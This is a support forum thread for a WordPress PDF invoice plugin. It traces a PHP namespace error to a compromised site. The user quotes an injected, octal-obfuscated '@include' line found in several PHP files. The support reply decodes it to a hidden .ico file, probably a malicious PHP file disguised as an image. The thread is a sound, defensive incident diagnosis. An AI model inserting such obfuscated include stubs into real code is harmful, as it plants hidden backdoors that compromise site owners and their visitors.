Namespace declaration statement has to be the very first statement

Hello Paul,
The Namespace declaration is actually the very first statement:
includes/class-wcpdf-pdf-maker.php

This is not different in any other classes. (e.g. includes/class-wcpdf-main.php)
I believe this issue is caused somewhere else, by a function or an error causing premature output. Do you also get this error with debugger switched off?

First off, VERY prompt reply. I’m impressed! Secondly, with the debugger off the output is just “The site is experiencing technical difficulties” and nothing is written to to the nginx error log.

These issues can be super tricky to track down… I’ve seen a similar a few years ago with another customer and it turned out to be there was a “Byte Order Mark” at the start of his wp-config.php file. This resulted in all his downloads to include this character too, for example, even just the CSS files served to his site but it doesn’t have any visible impact there, so not specifically related to PDF Invoices.

To track this down requires some technical knowledge, but your host may be able to help with this too. All you would need to know if there are any PHP files in your site starting with the byte-order-mark (0xEF,0xBB,0xBF).

Is that something you or your host can do?

p.s. it’s also possible that this happened somewhere in a php file that was modified, reinstalling the PDF invoice plugin via the WordPress Plugins > Add New menu may also solve that in this case…

Your comments led me to find multiple compromises files, with additions similar too this:

/*1fa7b*/

@include "\057va\162/w\167w/\150tm\154/w\160-i\156cl\165de\163/i\155ag\145s/\05632\070a8\06006\056ic\157";

/*1fa7b*/

I have access to the server, so am cleaning up right now. Thanks for your very speedy assistance!

Thanks for sharing that Paul, that’s certainy suspicious. The @include statement is a UTF8 encoded string that decodes to /var/www/html/wp-includes/images/.328a8006.ico, which is probably a malicious PHP file disguised as an image. I’m sorry that your site has been compromised, I hope you can clean this up quickly and not too much damage has been done. Good luck!